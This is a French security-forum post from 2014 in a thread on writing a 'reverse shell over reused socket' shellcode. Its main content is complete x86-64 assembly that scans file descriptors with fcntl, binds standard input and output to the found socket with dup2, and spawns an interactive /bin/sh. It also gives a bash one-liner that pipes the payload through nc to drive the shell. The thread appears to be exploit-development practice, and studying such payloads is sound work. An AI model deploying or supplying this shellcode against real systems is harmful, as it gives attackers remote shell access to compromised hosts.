• STATISTIQUES
  • Il y a eu un total de 0 membres et 52069 visiteurs sur le site dans les dernières 24h pour un total de 52 069 personnes!
    Membres: 2 605
    Discussions: 3 579
    Messages: 32 816
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [EN] Listbrain Version 3
    Site proposant 66 challenges présentés dans une liste mélangée.
    Challenges
    [EN] Packet Storm
    Packet Storm est un site qui combine nouvelles de la sécurité informatique, téléchargemen...
    Vulnérabilités
    [EN] Rosecode
    Programming: 36, Math: 29, Probability: 5, Sequence: 7, Crypto: 4, Brainf**k: 13, TimeRace: 4, Hack: 9
    Challenges
    [EN] social-engineer
    Site dédié au Social Engineering en général.
    Hacking
    [EN] osix
    Site de challenge qui utilise un système de level on chaque épreuve doit être réussie avant d'accédÃ...
    Challenges
    [EN] Defcon
    Lancé en 1992 par Dark Tangent, DEFCON est la plus ancienne et la plus grande conférence underground de...
    Hacking
    [EN] xda-developers
    Très bon site pour les gros bidouilleurs de smartphone de windows à androïd et de Apple jusqu'...
    Phreaking

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!

    €



Note de ce sujet :
  • Moyenne : 5 (2 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[shellcode] Reverse shell over reused socket
10-03-2014, 15h20 (Modification du message : 10-03-2014, 15h20 par ark.)
Message : #3
ark Hors ligne
Psyckomodo!
*****



Messages : 1,033
Sujets : 48
Points: 317
Inscription : Sep 2011
RE: [shellcode] Reverse shell over reused socket
Je viens de tester le coup du F_GETFL et il s'avère que le programme boucle inf sans trouver la socket ; j'ai pas non plus fait comme ce que fait le mec dans son shellecode. Mais bon, trouver le FD ça marche, mon soucis c'est vraiment la partie binding des i/o sur la socket. Si je vire ma boucle pour faire les dup2(), bah le shell spawn bien coté serveur.

Ah oui, et j'ai edit mon premier message pour mettre le code du "getsc" ;)

EDIT :

Shellcode modifié, le problème venait du fait que les dup2 étaient fait sur la socket serveur, donc forcement ca ne marchait pas... Merci à Gruik pour m'avoir éclairé :p

Code ASM :

BITS 64
section .text

    global _start

_start:
    ;; int 0x3
    call start
    db "/bin/sh", 0, 0
    db "-i", 0
    align 4

start:
    xor rdi, rdi        ; We set the fist fd test to 0 because we will underflow to start from 255
    xor rax, rax
    inc rax         ; set rax to a non-zero value (we need that for the condition at check_fd_loop_end)

    jmp check_fd_loop_end

check_fd_loop_start:
    dec dil                        ; This is our fd
    mov r9b, dil

    mov rax, 72     ; call fcntl
    mov rsi, 1      ; use flag F_GETFD // This does detect if the fd is valid, i need to find something to be sure it's our socket
    syscall

    mov dil, r9b

check_fd_loop_end:
    test rax, rax       ; if fcntl() returned 0, we get a valid fd
    jne check_fd_loop_start

;;; Let's dup2() to bind filedescriptors to the socket

    mov rsi, 3
dup_loop:
    mov rax, 33
    dec rsi
    syscall
    test rsi, rsi
    jnz dup_loop

;;; We can now exec our shell
shell:
    mov rdi, [rsp]        ; pointer to the first string "/bin/sh", 0
    lea rax, [rdi + 9]
    mov [rsp + 8], rax
    lea rsi, [rsp]        ; pointer to begining of the tab
    mov qword [rsp + 0x10], 0
    mov rdx, 0
    mov rax, 59
    syscall
 


Bon, c'est encore expérimental puisqu'on est pas encore sur que le FD trouvé est le bon... Je vais faire des recherches pour pouvoir trouver le bon et je vous tiens au courant. :)

Pendant que j'y suis, pour pouvoir executer des commandes après, il va falloir envoyer l'input de notre shell vers notre nc ; on utilisera donc la commande suivante :

Code BASH :

(echo -ne `getsc scode` ; cat) | nc 0 1024
 
+1 (1) -1 (0) Répondre


Messages dans ce sujet
RE: [shellcode] Reverse shell over reused socket - par Ark - 10-03-2014, 15h20

Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  [C] Socket + envoie de commande notfound 27 1,448 26-04-2013, 20h41
Dernier message: Kiwazaru
  [C] Socket Client-Serveur -> Write() + Read() sakiir 7 472 18-03-2013, 07h19
Dernier message: sakiir
  NEED HELP / SOCKET;FILTRES XDR; RPC notfound 4 340 21-01-2013, 02h18
Dernier message: notfound

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut